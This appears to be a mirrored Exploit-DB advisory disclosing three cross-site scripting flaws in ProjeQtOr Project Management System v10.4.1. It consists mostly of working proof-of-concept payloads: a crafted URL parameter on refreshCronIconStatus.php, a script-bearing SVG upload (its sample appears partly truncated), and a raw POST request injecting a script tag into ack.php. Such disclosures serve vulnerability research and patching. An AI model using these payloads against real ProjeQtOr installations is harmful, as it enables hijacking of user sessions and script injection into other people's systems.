ProjeQtOr Project Management System v10.4.1 – Multiple XSS - 体验盒子

作者： Mirabbas Ağalarov

日期： 2023-07-15

类别：

webapps

平台：

php

来源：https://www.exploit-db.com/exploits/51588/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

Exploit Title: ProjeQtOr Project Management System V10.4.1 - Multiple XSS

Version: V10.4.1

Bugs:Multiple XSS

Technology: PHP

Vendor URL: https://www.projeqtor.org

Software Link: https://sourceforge.net/projects/projectorria/files/projeqtorV10.4.1.zip/download

Date of found: 09.07.2023

Author: Mirabbas Ağalarov

Tested on: Linux

2. Technical Details & POC

### XSS-1 ###

visit: http://localhost/projeqtor/view/refreshCronIconStatus.php?cronStatus=miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E&csrfToken=

payload: miri%27);%22%3E%3Cscript%3Ealert(4)%3C/script%3E

### XSS-2 ###

steps:

1. login to account

2. go projects and create project

3.add attachment

3. upload svg file

"""

<?xml version="1.0" standalone="no"?>

<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">

alert(document.location);

</script>

</svg>

"""

4. Go tosvg file ( http://localhost/projeqtor/files/attach/attachment_5/malas.svg )

### XSS-3 ###

Go to below adress (post request)

POST /projeqtor/tool/ack.php?destinationWidth=50&destinationHeight=0&isIE=&xhrPostDestination=resultDivMain&xhrPostIsResultMessage=true&xhrPostValidationType=attachment&xhrPostTimestamp=1688898776311&csrfToken= HTTP/1.1

Host: localhost

Content-Length: 35

sec-ch-ua:

Content-Type: application/x-www-form-urlencoded

X-Requested-With: XMLHttpRequest

sec-ch-ua-mobile: ?0

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36

sec-ch-ua-platform: ""

Accept: */*

Origin: http://localhost

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: http://localhost/projeqtor/view/main.php

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: PHPSESSID=r5cjcsggl4j0oa9s70vchaklf3

Connection: close

resultAck=<script>alert(4)</script>